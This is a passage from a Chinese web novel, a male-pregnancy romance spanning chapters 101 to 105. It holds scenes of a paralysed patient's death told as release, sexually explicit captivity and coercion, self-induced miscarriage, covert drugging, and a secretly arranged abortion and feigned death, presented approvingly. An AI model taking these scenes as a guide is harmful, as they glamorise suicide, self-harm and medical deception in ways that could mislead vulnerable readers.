“你这个骗子!道貌岸然的禽兽!你是怎么拍胸脯说会治好我的儿子的,你是怎么保证的!!” “你这个凶手!你这个杀人犯!!” 郁瑟被迫暂停了工作,在家里沉思了无数个日夜。 大概,他并不是一个好医生,很长一段时间,他都对自己的医术产生了怀疑,甚至对继续做医生这件事,萌生了厌弃的念头。 最后,郁瑟选择了转科室,像一只灰溜溜的老鼠一般,去了妇产科。 一时间,医院里的闲言碎语四起,都说郁瑟是因为治死了人,被脑外科赶了出来,不得已才转去妇产科的。 对于这些流言蜚语,郁瑟从不正面回应,只是默默地做好自己的工作。 在妇产科的日子里,郁瑟接触到了许多新生命,他们的到来给这个世界增添了无尽的欢乐和希望。 每一次接生,每一次看到新生命平安降临,郁瑟都会感到自己的罪孽被清洗了一点点。 可是还不够,依然不够。 他的余生,应该拯救更多的生命,让更多的人好好地活着。 活下去。 郁瑟开始将活着这件事,看作是生命的唯一意义,头等大事。 直到主动参与地震灾区的医疗救援中。 最终,累死在了手术台上。 与此同时,里斯的生命也走到了即将燃尽的尽头。 自从郁瑟出了事之后,他的情绪一直异常不稳定,尤其在耗费了极大的精力之下,得知郁瑟已经转了科室的消息。 里斯最开始是愤怒的,觉得自己被某人给欺骗了。 什么说好的春光在等我康复,用那些冠冕堂皇的漂亮语言来哄骗我,结果却是这样的结局。 但愤怒过后,他又开始自责,假如他有多一点的能力,假如他不是一滩烂泥。 那么,是不是就可以保护郁医生了? 直到里斯得知郁瑟还被人泼了油漆,他的情绪俨然崩溃至极。 为什么他是个废物?! 为什么他不能动弹! 为什么他要让喜欢的人,被这样残忍地对待? 里斯的心中充满了无尽的痛苦和自责,他恨自己无能为力,恨自己无法保护心爱的人。 他开始依靠回忆来度日,即使他与郁瑟之间的回忆,只有一点一滴。 在一个黄昏。 里斯原本浑浑噩噩的沉睡被惊醒,因为他听到了一个极其敏感的词汇。 郁瑟医生。 实际上,他此时已经彻底丧失全部的行为能力,每天只能依靠呼吸机和营养液,来维持着苟延残喘的生命。 也许他也应该早早咽气的。 毕竟他现在连一团废肉都称不上了,只是凭白得消耗着更多的金钱和空气。 大抵上,他是希望能再见到郁瑟一面的。 自从里斯发现了自己对于郁瑟的在乎,实际上是一种喜欢的时候。 他就决定要好好地吃饭,好好地呼吸。 人只有活着,才能有所期待。 当听见郁瑟已经死亡的消息时。 这一次,里斯的胸腔内居然没有产生任何情感,哪怕是一丝丝的悲怆也没有。 他觉得,自己能如此平静地接受喜欢的人死去的消息。 大抵上,他是已经做好准备了。 夜间十分,护工最后一次来给他做了清理工作,再此之后,会有很长时间没有人再来打扰他。 里斯就是在等待这个机会,为了这个机会,他整整得忍耐了几个小时。 不,应该说,他整整得忍耐了残破的余生。 里斯微微睁开了眼,到目前为止,他只有眼部的肌肉还能使用。 真是感谢老天爷的垂帘。 伊尔曼冥冥中感知到了似的,像一只融合于暗夜中的影子,敏捷地跳到了主人的眼帘之前。 一人一猫开始对望着彼此。 很久很久。 里斯的呼吸彻底困难,气管仿佛扭曲的麻花般,令他时刻处于窒息的风险中。 人都说死不瞑目,就是他现在突然睁开了眼睛的模样吧。 里斯看了看他最爱的小猫。 伊尔曼忽然哀然地叫唤了几声,发觉他的主人眼神注满死寂,没有一丝一毫地波澜。 很久,很久。 伊尔曼用自己的脑袋蹭了蹭里斯骷髅一般地面颊,转身敏捷地一跃。 准确无误地跳到了呼吸机的地方,将插着氧气管的位置用力地顶开。 氧气管随即滑落,发出轻微的哐当声,在寂静的病房内显得尤为刺耳。 里斯的呼吸彻底艰难,胸口剧烈地起伏,仿佛每一次吸气都要耗尽他全身的力气。 但他脸上的表情却异常平静,甚至带着一丝解脱的意味。 伊尔曼蹲坐在一旁,目光紧紧锁定着主人,那双猫眼里满是复杂的情绪。它似乎明白即将发生什么,却又无能为力。只能默默地陪伴着,直到最后一刻。 里斯的视线开始模糊,周围的景象渐渐变得虚幻。 但他依然努力睁大眼睛,想要将这一切深深地刻印在脑海里。 他看了看伊尔曼的身影。 弥留之前,里斯的目光定格在了窗户外,努力地朝狭小的星空许愿。 郁瑟。 郁瑟。 你等我来。 第102章 第 102 章 鱼上钩了 郁瑟冥冥中感觉到面颊附近有一股很粗重的呼吸, 裹挟着汗液的性感气味,双眼并未睁开,而是用双手捧住对方的脸笑了。 “我的脸上有什么?你再这么盯着瞧, 我快要不好意思睁开眼了。” 枫音尘受伤的右手又往身后藏了藏, 毕竟对于医生来讲,血腥气味应该是最容易被觉察到的。 他不想让郁瑟担心。 枫音尘将医生的手,整个贴合在自己顶级漂亮的面颊侧, 不无深情说, “看自己老公每天睡醒的样子,是这个世界上最幸福的事情了。” 健健康康的、平平安安的。 郁瑟更是哈哈地大笑起来, 人本来睡得软绵绵的, 此刻的笑也软绵绵地传递至腹部,令明显凸起的腹部也跟着一上一下。 郁瑟印在眼底的便是枫音尘那张顶级迷人的面庞, 其实他多少能看出枫音尘的眼睛红通通的, 看着自己的眼神除了脉脉之外,更多的是一些尚未收敛干净的悲伤。 是我让他感到难过了吗? 郁瑟心里如实想着。 确实,他为了解决自己心底的疑惑, 跟着慕酌月走得那么近, 还险些出了事情。 郁瑟的抱歉如何也说不出口,更不好用孩子来转移注意力。 成年人之间的交往,更要以坦诚相待。 他说,“我跟慕酌月在一起的那几天内, 其实还遇见了一个可以怀孕的男性。” “我现在想了想, 这个世界上所有能怀孕的男性, 怎么全部叫我一个人遇见了呢?” “大概,是慕酌月故意叫我遇上的。” 郁医生确实相当的聪明,只是他万万没想到, 自己前半段遇见的男生子,其实都是枫音尘在作怪罢了。 枫音尘微微张开嘴巴,不知自己该用什么样的表情来接这句话。 郁瑟反而笑了,“你不是手里正好捏着那本书嘛。” 他的双臂很自然地往枫音尘的脖颈间一缠绕,“再帮我最后一次,这个康城的情况很不好,我现在很怕他会想不开。” 然后。 “我们一起把书烧掉,远离慕酌月,过我们自己的日子,一起把孩子养大。” 再也不主动去触碰剧情,也不让剧情来牵着鼻子走,做这个世界里最最普通的人。 “好好地过完这一生。” 毕竟,这样的一生委实太难得了,是老天的恩赐,不要再浪费了。 枫音尘也正有此意,禁不住吻了吻郁瑟的嘴唇,“好,我来帮你完成最后一个心愿,我们只过自己的日子。”. 地面一片狼藉,丢着许多凌乱的餐盘碎片,以及根本没有吃一口的食物。 不过这些东西,很快就会被家佣收拾干净,再重新端上其他的食物来替换。 床上躺着的人只单薄地挂着一条被单,被单之下是凌乱不堪的身体,以及被链条锁住的双脚。 “139xxxx” “139xxxx” 男生在清醒与昏迷之间不停地重复着这个电话号码,谨防自己因为彻底晕死过去,而忘记这个救命的号码。 直到房间门被重新打开,他嘴里的声响也彻底消失,整个人陷入了闭目塞听的死寂之中。 进来的人看到房间内的景象,眼中闪过一丝惊愕,随即是深深的愤怒与心疼。 他快步走到床边,一把扯起拴住脚腕的锁链,因为长时间的摩擦,使得男生的脚腕间形成斑驳鲜明的痕迹。 康城旋即倒抽一口凉气,“嘶~” 做出残酷动作的男人早已经退换了表情,显得既冷漠又疏离,仿佛现在的一切残忍行径,才是他的本性。 阳光从窗外斜斜洒入,却照不进叶隧内心的阴霾。 男人将手里的锁链又往高提起了一些距离,脸上没有丝毫迟疑,反而带着一抹嘲讽的笑意:“原来,你还知道会疼?” 康城闻言,立刻将嘴巴紧紧咬起来,再也不准任何一丝表现出懦弱的声音流露出去。 他已经彻底对叶隧这个男人失去了信任。 也再也不爱他了。 是的。 叶隧从半年前开始,每次在床上的时候就不再轻易喊着姐姐康雅的名字了,偶尔也会很温柔地进入他,让他沉浸到前所未有的欢愉之中。 直到康城发现自己怀孕。 这个消息完全不能称之为好消息。 因为叶隧一直拿他当作姐姐的替身,假如能够怀孕的话,叶隧只会更加将他当作姐姐的替身。 康城这才从长久编织的假象中惊醒,他可能在长时间的胁迫与压制下,对叶隧产生了类似于斯德哥尔摩症候群般的爱意。 这是不对的,他根本不应该对面前这个男人产生任何奇怪的依恋。 他不爱叶隧。 正如叶隧从不爱他一样! 见床上的人死气沉沉的,似乎是选择要与自己死磕到底。 叶隧不禁露出一抹残酷的微笑,他将锁链丢开,发出冰冷且无机质的声响。 然后,将那只毫无感情的大手,伸进了单薄的被子底下,用最无情地手势,破开最柔软的肉。 康城果然受不了这个,作为曾经的直男,他也是交过女朋友的。 穿女装,戴假发,像个柔弱无助的女人,被另一个更为强势的男人欺压索取。 这是康城这辈子完全意想不到的噩梦。 叶隧一遍又一遍地暗示他,明示他,叫他像女人一样尖叫,叫他像女人一样瑟缩。 而最最残忍的是,这个女人不是别人,是在大浪覆盖前,将他推向冲浪板的康雅。 他最最可亲的,用生命换取他的生命的姐姐。 叶隧的眼神里没有丝毫的怜悯,只有无尽的戏谑与嘲讽,仿佛康城的一切挣扎与痛苦,都只是他无聊生活中的一抹调剂。 康城的眼眶里逐渐蓄满了泪水,却倔强地不肯让它们落下。他咬紧牙关,试图在叶隧的羞辱中找到一丝反抗的力量,但身体却不受控制地颤抖着,出卖了他内心的恐惧与无助。 “你看,”叶隧的声音低沉而富有磁性,却带着刺骨的寒意,他将手指故意拿到康城紧闭的双眸之前。 “你的身体,最终还是变成了我希望的样子,多么听话,多么顺从。” 康城闭上眼睛,不想再去看那张让他既恨又怕的脸,此刻他的内心里充满了绝望,仿佛整个世界都崩塌了,只剩下无尽的黑暗与寒冷。 叶隧说,“可是,你的嘴不肯吃饭,不肯乖乖的听话,是不是该好好惩罚,嗯?” 他将两根并起的手指,揉在康城的嘴唇边,而后一根一根地送进他的嘴里,扭住闪躲的舌尖。 叫他好好品尝一下,夜晚残留在里面的味道。 “那你也可以一直不吃饭,我可以让你饱饱地吃够,永远也下不来地面,只能躺在我允许的范围里,怎么样?” 叶隧的手冷幽幽地放置在了康彻的腹部,象征性地将腹部往下摁了一下。 轰~ 什么似乎开始倒塌了。 康城被这恶魔低语弄得开始害怕了,即使他坚持着自己,还是被对方棋高一着的威胁方式给惊到了。 仅仅是三天而已,他已经被折磨得不成样子,身心俱疲。 曾经那个骄傲、自信的康城,如今却像是一只被囚禁的小鸟,无助且绝望。 叶隧的笑容越发灿烂,他并不希望看见康城露出惊悚的表情,宛若雅雅在害怕自己似的。 正当两人之间的平衡,趋于一方高高居上之时。 管家敲响了屋门,冲里面言道,“少爷,港城谭家的人已经到了,您看?” 叶隧不禁眯起眼。 港城谭家一直把控着海港内的全部重要港口,他们叶家的货物每次选择都要经过谭家的地盘。 虽然表面上两家关系和睦,但背地里却暗自较劲,争夺海港的控制权。 叶隧心中暗自思量,这次谭家的到访究竟有何目的?是单纯的友好访问,还是别有用心? 他缓缓站起身,整理了一下自己的西装,眼神中的阴翳缓缓压制下去。 无论如何,他都不能在谭家人面前失态,必须保持叶家的尊严和风度。 “请他们进来吧。”叶隧对管家说道,声音平静而有力,仿佛一切尽在掌握之中。 而后,用手摸了一把康城凌乱的发丝,这个举动反而使得康城彻底钻进了被子中间,连一根发丝都不想被碰触到似的。 叶隧轻轻一笑,似乎对康城的反应早有预料,暂时算是放过对方。 转身走向会客厅,气度和仪态均显示出应有的教养。 在会客厅内,谭家的使者已经等候多时。 他们身着笔挺的西装,面色凝重,显然此次来访,并非简单的友好交流,而是为了一场交易。 叶隧微微点头示意,示意他们坐下,自己也缓缓落座于主位之上。 “谭家的各位,今日到访有何贵干?”叶隧开门见山地问道,语气中带着一丝不易察觉的锐利。 谭家的使者相互对视一眼,随后由其中一位年长者开口:“叶少爷,我们此次前来,是为了海港控制权一事。想必您也清楚,海港对于两家的重要性不言而喻。我们希望,能够与叶家达成某种共识,共同维护海港的繁荣与稳定。” 叶隧闻言,嘴角勾起一抹玩味的笑容。他心中早已有了计较,却仍不动声色地问道:“哦?据我所知,谭家现在应该是内.斗最激烈的时候,怎么会有空来找我谈?” 试问有谁不知道,谭家失踪的那位大少爷谭墨越逆袭归来,已经在谭家搅风搅雨,让整个家族都动荡不安。 据说,他不仅夺回了本应属于自己的权力,还开始着手改革谭家,一系列雷厉风行的手段让谭家的老一辈都感到后生可畏。 这样的情况下,谭家居然还能分出精力来与他叶家谈判,实在是令人费解。 来者不由得亮出底牌道,“其实,这次希望跟您联手的,是另外一位谭家少爷。” “谭卓森。” “哈?”叶隧一听这个名字,就觉得顿时失去了所有的兴趣。 谭卓森可是谭家著名的疯狗,其人行事向来不计后果,手段又极其狠辣,得罪了不少人。 尤其在谭家内部,他的名声可不怎么好,叶隧自然也不想与这样的人有所牵扯。 谭墨越上位的话,这条疯狗确实是第一个需要铲除的。 “据我所知,谭卓森在谭家的地位可不怎么稳固,你们确定他能代表谭家来跟我谈?”叶隧挑眉问道。 来者闻言,神色不变,继续道:“谭卓森少爷虽然行事有些激进,但他对谭家的忠诚却是毋庸置疑的。而且,他现在急需外力支持,来稳固自己的地位。我们觉得,这是一个很好的合作机会。” 侍者递出一个眼神后,旋即有另一人拿出一份股权转染合同,双手呈给叶隧。 “如果您能在这关键时刻,给我们一些助力的话,少爷说能给你十个点的股权作为报酬。” 叶隧闻言,接过合同,大致翻了翻,眼中闪过一丝狡黠。 十个点的股权,这可不是个小数目,谭卓森为了稳固自己的地位,可真是下了血本啊。 不过,叶隧心里也清楚,这十个点的股权可不是那么好拿的。 与谭卓森合作,无异于与虎谋皮,稍有不慎,就可能被反噬。 但话又说回来,眼下的局势,叶家想要从港城进出口货物,也确实需要一股外力来支持。 谭卓森虽然行事狠辣,也是个有能力的人,若是能将他拉拢过来,对叶家来说,无疑是一大利好。 想到这里,叶隧嘴角勾起一抹笑意,将合同缓缓合上,道:“好,这个合作,我叶隧接了。”. 与此同时。 枫音尘的手机微信里,谭墨越发过来了一条最新消息。 【石头:小叔叔放心,鱼上钩了。】 枫音尘看完就没打算再回复。 对方等待了几分钟,又发过来一条消息。 【羽哥最近还好吗?】 这次枫音尘理睬了,还是用的语音回复。 【这件事办不好,你休想进枫家大门儿!】 第103章 第 103 章 想你 枫音尘之所以没有空理睬谭墨越, 是因为他正忙跟郁瑟挑选小宝宝的婴儿用品。 两个大男人齐刷刷走进母婴用品店,先不说枫家主的美貌如何引人观瞻,只说两个男人站在一群粉嫩嫩的婴儿用品前, 给人的感觉本身就很怪异。 郁瑟有些后悔不该随波逐流, 跟着胡乱撒娇的枫公主就出了门。 他应该先乔装改扮一下。 枫音尘反倒不像他的拘谨,简直像是进入了枫家的主场一般,如鱼得水。 若不然就是研究着奶粉的成分, 若不然就是拿起粉红色的婴儿裙在身上比划, 脸上满满地洋溢着即将成为父亲的喜悦与期待。 郁瑟感觉他比自己更适合当妈。 不对,是爹咪。 枫公主的本意是要带着郁瑟去某国定制一批婴幼儿高端服饰, 毕竟小家伙的身份尊贵, 不能穿得太寒碜。 比萧君耀、杜景恒的孩子穿得还要好上一万倍! 但是考虑到郁瑟并不是特别追求高端品牌,所以假借着买东西, 带人出来散散心, 透透气。 毕竟,郁医生生了宝宝之后,两人都会忙得像陀螺一样, 围绕着未来的小宝宝打转, 绝对没有时间享受一下二人世界。 现在正好可以补上。 郁瑟拿起枫音尘挑选的小袜子、小裙子、小奶嘴,全部都是粉色系,或者带着卡通图案,可爱得让人心都要化了。 郁医生凑近疯狂沉迷于购物的某人耳侧, 出其不意道, “书上难道说, 我生的是个女孩子?” 书上? 枫音尘手里两只小手套倏然掉落。 “呃,嗯,哦。” 郁瑟瞧他居然一副接不上话的样子, 不禁笑着抱住枫音尘的腰际,“我现在终于明白,为什么你看见萧芽芽的时候,会露出那么一副表情了。” 枫音尘立刻反手也抱住人,“那个时候我以为自己不会拥有孩子了,确实是特别嫉妒萧君耀那个老小子。” 不过现在嘛。 “生女孩多好,我要每天都把宝贝打扮得漂漂亮亮,给她梳各种各样的小辫子,穿上我亲手挑选的小裙子,让她像个小公主一样,快乐地在阳光下旋转。” “我还要带她去逛公园,让所有人都羡慕我们这对漂亮的父女。看着她一天天长大,从蹒跚学步到奔跑嬉戏,那份满足和幸福,是任何东西都无法替代的。” “而且,女孩子贴心,将来一定会很孝顺,我们老了,她一定会陪在我们身边,照顾我们,让我们享受天伦之乐。” 枫音尘居然能讲到滔滔不绝,其实郁瑟根本不知道,枫音尘在上辈子得了病之后,再也没有体会过任何亲情的呵护。 他现在只想把很多很多的爱,都倾注到这个即将到来的小生命身上,弥补自己前世所缺失的一切。 “是啊,女孩是父母的贴心小棉袄,想想就让人期待。”郁瑟温柔地抚摸着枫音尘的脸庞。 脑海里无端勾勒出如下的画面: 枫公主和家里的小公主,两人一起抱着人高的粉红小熊睡觉的模样,两张同样精美绝伦的脸庞紧贴着蓬松的毛茸茸,长长的睫毛微微颤动,如同两只精致的洋娃娃,让人忍不住想要轻轻触碰,生怕惊扰了他们的甜美梦境。 不知为何,这样温馨的画面也叫郁瑟无端打个寒颤。 不是不喜欢女孩子。 而是感觉枫音尘会更像孩子的妈妈+999. 郁瑟提议着,“小孩子长得特别快,再说我现在月份还小,可以多去几家店逛一逛。” 他用眼神示意,金管家以及十几个私人保镖手里提的二十几包婴儿用品。 “暂时不需要买这么多吧?” 枫音尘委实拗不过郁瑟,只好先退掉一半的货品。 反正有其他人帮忙拿东西,他只是负责挑选和刷卡。 枫音尘搂着郁瑟,两人带着十几个人,手提大大小小的包装袋,浩浩荡荡地从母婴店出来。 郁瑟的注意力稍微转移了一下,冥冥中感觉是裤子口袋里的手机在震动。 枫音尘立刻像是他肚子里的蛔虫般,小声提示他,“你的投资人叫我托话给你,医院里的事情完全不需要你担心,副院长会很好地安排所有工作的。” 副院长? 郁瑟一时间还有点迷糊。 枫音尘道,“王齐,我刚才已经正式任命他为慈康医院的代理了,他跟你学徒了那么久,很多事情都可以独当一面了。你安心养胎,医院的事情有他盯着,不会出岔子的。” 郁瑟微微点头,心里却有些不是滋味。他并不是担心医院的工作,而是对于枫音尘这种事事都替他安排好的做法,感到有些无力。 他知道自己应该感激枫音尘的关心,但同时,他也渴望能够在这个孩子到来之前,把自己该做的事情做好。 “音尘,我这个月份其实根本不碍事的,之前还有女性孕产妇,都是工作到快要临盆才停下手里的工作。” “况且,我还是一个堂堂男人。” 枫音尘看着他,第一次见处事冷静的郁医生居然可怜巴巴的,随即温柔地笑了,“好,你想做什么当然就去做吧。不过,记得要先顾好自己的身体。” 枫音尘其实并不打算剥夺郁瑟的工作权利,相反,他是想让郁瑟更加将注意力转移去工作上。 这样,康城的事情才更加好处理。 郁瑟返回到自己的住房,他跟枫音尘目前还没有结婚,所以想住在自己的房子里,随时都可以的。 枫音尘替他放了满满一缸温水,催着他来泡澡。 枫家主也是现学现卖,看了不少资料知道人在怀孕中容易疲劳,泡澡能够舒缓身体,对孕妇有好处。 尤其是怀孕更加辛苦的孕夫。 郁瑟有些无奈地脱掉衣服,走进浴室,看着那一缸温热的水,心里涌起一股暖意。 他知道,枫公主虽然有时候强势,但对待自己,更多的时候是细心体贴的。 泡在温水里,郁瑟感觉自己的身心都放松了下来,所有的烦恼似乎都随着水蒸气飘散了。 他从浴室出来,枫音尘已经准备好了热牛奶和点心,坐在床边等他。 “吃点东西,我给你放一点轻柔的音乐。”枫音尘轻声说道。 郁瑟点点头,蓦得捂住嘴巴笑了出声。 “天,这一点也不像是你。” 好吧,郁瑟强忍了一整天,终于发现自己为什么会感觉到有奇怪的地方。 枫公主!!居然!!在学习!!照顾人!! 郁瑟一旦发现哪里不对劲儿的真正缘由,便立刻调笑起来。 “我可以把这些事,都讲给未来的小公主听吗?” “例如这样那样?就说她的爸爸为了迎接她的出生,做出来了好多好多的努力?” 枫音尘立刻红了耳朵反驳,“我才没有为了孩子才对你好,我是一直都只对你好。” 郁瑟瞧他立刻摆出一副傲娇状态,主动扑过去抱住某公主,送贴贴,送亲亲。 “没有说这样不好,”郁瑟用鼻尖不停地磨蹭着枫音尘的性感带,尤其是喉结的位置,轻微地嗫咬了一口。 枫音尘立刻起来反应,将郁医生的双腿缠在腰上,双手则小心地捧住对方的臀尖儿,“你少招惹我,我都决定戒色了。” 两个大丁丁进入冬眠期。 郁瑟说,“那现在什么在戳我?” 枫音尘还是第一次被谁连续顶撞,不由追着郁医生的嘴唇反咬了几口。 “真的,我说不要乱动。”枫音尘的体力惊人,他们之前在床上也经常这样面对面地互相抱着,只是现在他抱起郁瑟的动作,要更加谨慎。 “你的肚子再过两个月,我就不能这样严丝合缝地从正面抱你了,我想好好抱一会儿你。” 郁瑟趴在他的怀里,其实两个男人这样身贴身,面贴面确实挺容易擦枪走火的。 不过现在,枫音尘只是依赖般地抱着他,沉甸甸得感受着生命中最重要的分量。 郁瑟说,“我不会偷偷瞒着你,去帮助康城的,你说会想办法,我老实听的话。” 所以,不用时时刻刻盯着我了。 枫音尘微微叹了口气,抱着郁瑟满屋子转悠起来,“你信我,我已经着手了这件事,就一定会给你一个最满意的答复。” “我也会让你跟那个叫康城的家伙见一面,不过只是见一面而已。” “然后,就像我们说好的,把书烧掉,再也不管剧情的事情,只过好我们一家的日子。” 两人正温存着。 郁瑟的手机又震动起来,这次是视频链接提示。 枫音尘难免紧张。 毕竟康城知道了郁瑟的手机号,最终这个电话还是得打到郁瑟这边来。 郁瑟叫他不要担心,慢慢从枫音尘的怀里下来,看了一眼手机提示,才跟枫音尘说,“是林宇良。” 杜景恒的老婆为什么要打电话过来? 枫音尘一点也不想看见杜景恒,若不是这个死对头还算有点利用价值的。 郁瑟平静地接通了视频电话,里面传来的画面并非林宇良,而是林林宇良和杜景恒的宝贝女儿萱萱。 一段时间不见,萱萱又长大不少,因为跟着亲爸爸生活之后,生活条件大为改善,小脸蛋儿也圆嘟嘟的,看起来十分可爱。 郁瑟看见萱萱,心情也不由得好了许多,嘴角不自觉地上扬。 林宇良俨然坐在一旁,对面是半夜时间,所以两人穿着亲子款睡衣。 郁瑟朝萱萱招招手,“好久不见啊,萱萱,你想我了吗?” 时间一纵,林宇良和杜景恒带着女儿离开华国,前往M国寻医的事情俨然历历在目。 确实好久没有联系了。 萱萱可能是好长时间没有跟郁瑟联系,人有点害羞,但是看见郁医生的温柔微笑后,又很快地恢复了之前的亲昵感。 她用奶呼呼的,略带笨拙的童音朝郁瑟说了一句。 “郁爸爸,我想你了。” 一秒钟。 两秒钟。 郁瑟看着萱萱的脸庞,呆怔了几乎快要十几秒钟,顷刻间被强烈的喜悦冲击了过来,整个人开心得晕晕乎乎道。 “宝贝萱萱!你能开口说话啦!!” 第104章 第 104 章 装死几天 萱萱在视频里兴奋地喊着郁爸爸, 还展示起爸爸给她买的新玩具。林宇良在一旁微笑着陪伴女儿,偶尔插话,气氛显得温馨而和谐。 枫音尘见状, 虽然心里依旧对杜景恒有所芥蒂, 但看到郁瑟开心的样子,也不由得放松了些许。 一通电话完毕,将郁医生的心情彻底调节至极佳的状态。 他也不禁拉住枫音尘的手, 将注意力全部转移到了未来的生活规划中去。 与其同时。 叶隧正式接受了谭家的邀约, 即日准备动身前往港城。 他原本想带着康城一起前往,不过又思考了一下对方的身体状况, 总不好拖着一个气息奄奄的病人外出丢人吧。 最主要的是, 某人越来越不听话了。 叶隧对管家交待了几句,叮嘱要好好照看, 务必保证他的身体得到充分的休息和恢复。管家点头应允, 眼中闪过一丝忧虑,却也明白主人的决定自有其道理。 所以等叶隧走了,康城的日子其实并没有好过多少, 他依然是住在最封闭的房间, 四周被严密地监控起来,连一根头发丝也露不出来。 其实最开始的康城,也逐渐适应了这样暗无天日的生活,可是与郁瑟的相遇, 以及对方的鼓励。 哪怕只有一个小时的交谈, 也像一束光穿透了他心中的阴霾, 让他开始渴望自由,渴望外面的世界。 尤其是郁瑟给了电话,这一串数字也完全像是黑暗中的引导符号——这份帮助不是浮在水面的救生圈, 而是沉入深海的锚。 夜深人静后,康城开始默念那一串数字。 139XXXX 越默念他越感到深刻地悲哀,有的人活在广阔的天地之间,凭风而行。 有的人却可怜的,连一串小小的数字,都没有机会拨打出去。 这不公平!! 强烈且起伏的情绪叫他的胸口被狠狠撞击! 这真的很不公平!! 康城越想越生气、愤懑,甚至充满恨意。 于是他开始捶打封锁他的那一扇木门。 咚咚咚!咚咚咚! 守卫在门口的保镖知道他为什么捶门,若是叶少爷在家的话,这个小表子是根本不敢发出半点声响的。 可是叶少爷今日去了港城谈生意,没有十天半个月是回不来的,这个小表子大概是以为自己可以有提要求的权利了,这才按捺不住开始发疯。 咚咚咚的声音在寂静的夜里显得格外刺耳,保镖皱了皱眉,却没有要开门的意思。 康城愈发生气了,他是一个人,一个拥有自由意志的个体,他现在想要见谁,想要做什么,都是他的自由,凭什么要被囚禁在这间屋子里? 他越想越觉得憋屈,怒火中烧,几乎要失去理智。 他开始大声地呼喊,声音中带着愤怒与绝望:“我要打电话!你们没有资格把我关起来!!” 他的呼喊声在寂静的夜晚里回荡,却似乎并没有引起任何人的注意。 保镖站在门口,面无表情地看着那扇被捶打得震动的木门,仿佛在看一场无关紧要的闹剧。 康城脑袋里的弦似乎断了,所以没有理智的人,是凭借本能行凶的野兽。 他也是敢从几十米的巨浪间纵身一跃的男人! 康城开始用双手,头部,包括他的肚子来撞击门,边忍受着巨大的痛苦,边嘶吼着威胁道。 “现在是你们不给我活路的,那好吧,我就撞死给你们看!这样等叶隧回来,肯定要把你们这群看门狗给剁碎了!!” 可能是撞得太凶狠,再加上身体虚弱的原因,康城的声音渐渐变得沙哑,呼吸也变得急促起来。 尤其是腹部,被一股密密麻麻的痛楚包围起来,没一阵变又凶又猛地冲击他的整个神经。 双腿之间缓缓地流出了一股腥热的血液。 太好了。 康城在瘫软之前居然松了一口气,真的是太好了,原来死亡是这么简单的一件事,简单到他只需要狠下心与这扇门对抗,直到身体的某个器官承受不住,就可以彻底摆脱这绝望的境地。 他再也不用面对叶隧那冷漠的眼神,再也不用忍受被囚禁在这暗无天日的房间里的痛苦。 再也不用日日夜夜假扮成自己的姐姐!! 鲜血还在不断地流出,染红了他的裤子,也染红了这片地板,但康城已经无暇顾及。 他只是静静地躺在地上,感受着生命一点点地从自己身体里流逝,心中却异常地平静。 门口的保镖原本耐着心等他结束闹剧,结果人半晌没动弹了。 冥冥中有股不好的预感。 所以几个保镖面面相觑,互相示意还是进去看一眼的好。 这一开门可不得了,直接把所有人都吓傻了眼。 “快叫医生!”其中一个保镖俨然很有经验。 可是另一人却道,“这血不像是创伤所致,最好送医院,人如果有什么意外的话,咱们根本担待不起啊!” 言及此,所有人都觉得分外有道理,所以七手八脚地将血泊中的康城抱起来,慌忙往附近的医院送去。 在此期间,叶家的管家也参与到了其中,甚至还给叶隧打去了电话,哪知叶隧的行程被隐藏得密不透风,根本联系不上对方。 所以叶家的管家做了主,先救人再说剩下的。 叶家住在富豪别墅区,送去的医院只能是最近的那家私人贵族医院。 这家医院以高端服务和顶尖医疗技术闻名,平日里接待的大多是像叶家这样的社会名流。 叶家的管家深知时间就是生命,一路上催着司机加快车速,恨不得立刻飞到医院。 到了医院,康城被迅速推进急救室,一群医生护士忙前忙后,各种先进的医疗设备被一一用上,只为能从死神手中抢回这条命。 叶家的管家焦急地在急救室外来回踱步,时不时抬头看向那盏代表着生死未卜的红灯,心中默默祈祷着康城能够挺过这一关。 而此时,手术室内已经换成了另外一番光景。 给康城做手术的人早已经换成了另一个。 王齐。 他最近一直听从枫音尘的安排,叫他暂时到这家私人贵族医院等着。 枫音尘早已经买通了叶家里的两个保镖,这两个保镖在关键时刻起到了重要的作用。 例如,康城闹情绪的时候,这两人负责压制其他人的行动,等康城情绪崩溃,出点意外的时候,这两人再打配合提示来这座医院。 包括康城的饮食,也稍微动了点手脚。 从这个方面来讲,枫音尘有点不计后果了,不过郁瑟跟他提示过的。 康城不要孩子,只要自由。 所以,适当的残忍也不在话下。 王齐在手术室内,顺利地替康城做了引产手术,他手法娴熟,动作迅速,没有留下任何痕迹。 手术室外,红灯终于熄灭,转为代表平安的绿灯。 管家见状,连忙迎上前去,询问医生康城的状况。 王齐戴着口罩面色凝重,告诉了对方一个坏消息。 送来的病人引发了大出血,虽然经过全力抢救,暂时保住了性命,但由于失血过多,仍处于昏迷状态,需要进一步观察和治疗。 管家闻言,脸色瞬间变得苍白,他深知康城对于叶家的重要性,一旦有个三长两短,后果不堪设想。 他颤抖着声音问道:“医生,那他什么时候能醒过来?” 王齐摇了摇头,表示无法确定,但安慰管家说:“我们会尽最大的努力,您请先稍等片刻,我们会将病人转移到重症监护室进行密切观察。” 管家无奈,只能在手术室外焦急地等待着,心中默默祈祷着康城能够早日苏醒过来,平安无事。 王齐告别了叶家的管家,转而重新进入手术室。 康城已经慢慢清醒过来,只是人很虚弱,暂且说不了很多话。 王齐也不能多作逗留,长话短说道。 “我是郁医生的徒弟,我会协助你离开这里,但是你要装死几天,这个可以接受吗?” 郁医生?!! 康城的脸色苍白极了,可是在听见郁瑟的名字时,居然激动地不知道该说什么,重复且小声地说了一串号码。 “是的。”王齐将少量混合有镇静剂的药物给他注射下,言道,“还有一件事要告诉你。” “在你送来的时候,你肚子里的孩子已经保不住了,所以给你做了流产手术,你” “我没事。” 康城完全不需要对方将话说完整,他现在只感到一身的轻松。 “我相信郁医生,我也相信你。” 他说完这句话,再没有接下去的意思,而是安静的闭上眼睛,像之前说好的那样。 躺在病床上开始装死。 第105章 第 105 章 得偿所愿 后来叶家的管家很快去了重症监护室, 隔着无菌室的窗户看见了如同死人一般躺平的康城。 管家应该是吓坏了,急赤白脸,转身立刻开始给叶隧打电话。 叶隧那边肯定是接不了电话的。 王齐暗中观察着一切, 待时机适合, 找个医院的僻静地方,给枫音尘打去了电话。 枫音尘将餐盘中的肉块切成细小的方块,适合郁瑟食用的大小, 一边递给郁医生, 一边不着声色的听着。 直到王齐汇报完目前所有的情况。 枫音尘才像是调笑一般问他,“你年纪轻轻的, 倒是挺会处理问题, 是有这方面的经验吗?” 郁瑟慢慢地将肉块放进嘴里,细嚼慢咽, 同时有些好奇地打量着枫音尘。 